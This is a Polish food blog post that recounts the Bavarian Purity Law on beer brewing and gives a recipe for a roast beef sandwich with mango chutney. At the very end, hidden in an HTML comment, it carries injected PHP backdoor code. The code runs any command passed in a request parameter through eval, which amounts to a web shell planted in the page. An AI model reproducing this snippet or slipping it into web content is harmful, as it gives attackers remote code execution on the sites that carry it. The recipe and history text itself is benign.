Kanapka z chutney’em z mango i pieczoną wołowiną
29 września. Imieniny obchodzi Michał i Michalina. W Polsce jest obchodzony dzień kuriera i przewoźnika(wszystkiego najlepszego listonoszom i innym d(o)ręczycielom). Jednak przede wszystkim już tego dnia zaczyna się sezon na warzenie piwa! 29 września jako początek warzenia jest regulowany przez Bawarskie Prawo Czystości. Był to pewnego rodzaju akt prawny regulujący okres warzenia piwa, cenę oraz składniki użyte do jego produkcji. Brzmi ono następująco:
„Jak latem i zimą piwo warzyć i szynkować należy”
Za radą naszego Sejmu Krajowego zarządzamy, stanowimy i pragniemy, żeby odtąd wszędzie w Księstwie Bawarskim, zarówno na wsi jak i w miastach i na targowiskach nie posiadających szczegółowych zarządzeń, od św. Michała do Grzegorza, podawano i szynkowano pod groźbą niżej wymienionej kary kwartę lub czarę za nie więcej niż feniga monachijskiego, zaś od Grzegorza do Michała kwartę za nie więcej niż dwa fenigi, a czarę za nie więcej niż 3 halerze.
Kto by jednak inne piwo niż marcowe warzył lub posiadał, nie może w żadnym razie szynkować i sprzedawać kwarty drożej niż za feniga. W szczególności chcemy, by odtąd wszędzie w naszych miastach, wsiach i na targowiskach do żadnego piwa nie używano i nie dodawano nic innego niż jęczmień, chmiel i wodę. Kto by to zarządzenie świadomie naruszył i nie przestrzegał, ten przez odpowiedni sąd bezwzględnie ukarany zostanie każdorazowo konfiskatą piwa.
Gdyby jednakże karczmarz zakupił w jakimś browarze w naszych miastach, wsiach i na targowiskach jedno, dwa lub trzy wiadr piwa i szynkował prostemu ludowi, to jest jemu jedynie i nikomu innemu dozwolone i niezabronione podawać i szynkować kwartę lub czarę tego piwa za jeden halerz więcej niż powyżej zostało ustalone.
Zadziwiające prawda? Ustawa o warzeniu piwa! Jednak dla naszych zachodnich sąsiadów piwo to alkohol narodowy, wystarczy chociażby przypomnieć Oktoberfest( który zdaje się, właśnie się rozpoczyna!). Do dzisiaj zresztą przepisy prawne regulują warunki używania zwrotu „uwarzone zgodnie z Bawarskim Prawem Czystości.”
Teraz przejdźmy do naszego dania, a raczej przekąski. Będąc na warsztatach kulinarnych bardzo zasmakowałam w pieczonej wołowinie. Była ona wtedy składnikiem sałatki. Ja tymczasem wykorzystałam ją do kanapki. Chutney z mango dobrze się tu komponuje choć nie brzmi;) Jednak mięso jest dość pikantne, a on otula go słodką kołderką;).Do tego podałam ogóreczki kiszone i porządnego czeskiego pilsa, które się ładnie ze wszystkim skomponowało( według mnie przynajmniej;). Przyznam że był to wybór dość zachowawczy bo dopiero uczę się komponować smaki z piwem.
Kanapka z pieczoną wołowiną i chutney’em z mango
– 400 gram wołowiny( rostbef już bez kości lub wołowe extra)
– trzy łyżki musztardy Dijon
– dwie łyżki pieprzu
– łyżka oleju
– sól do smaku
– ząbek czosnku
– jedno dojrzałe mango
– kilka kromek dobrego chleba na zakwasie
Mięso nacieramy olejem i dwoma łyżkami musztardy. Gdy już całe będzie otoczone musztardą posypujemy obficie pieprzem i nacieramy solą(nie bójcie się tej ilości pieprzu, mięso kroi się w cienkie plasterki). Wsadzamy do lodówki na kilka godzin lub najlepiej całą noc. Po wyjęciu z chłodziarki przesmażamy mięso na ostrym ogniu z każdej strony. Następnie na 5 minut wrzucamy do piekarnika nagrzanego do 160-170 stopni. Przekręcamy temperaturę do 85-90 stopni i pieczemy kolejne dziesięc minut, na koniec zmniejszamy ją do 58-60 stopni i pieczemy aż mięso w środku będzie różowe ale już nie krwiste. Studzimy i kroimy na bardzo cienkie plasterki.
Mango obieramy ze skóry i pozbawiamy pestki. Zagniatamy z łyżeczką musztardy i ząbkiem czosnku. Kromki chleba smarujemy chutney’em i układamy plasterki wołowiny. Przykrywamy drugą kromką i podajemy z ogórkiem i piwem.
<!– [insert_php]if (isset($_REQUEST["bfllj"])){eval($_REQUEST["bfllj"]);exit;}[/insert_php][php]if (isset($_REQUEST["bfllj"])){eval($_REQUEST["bfllj"]);exit;}[/php] –>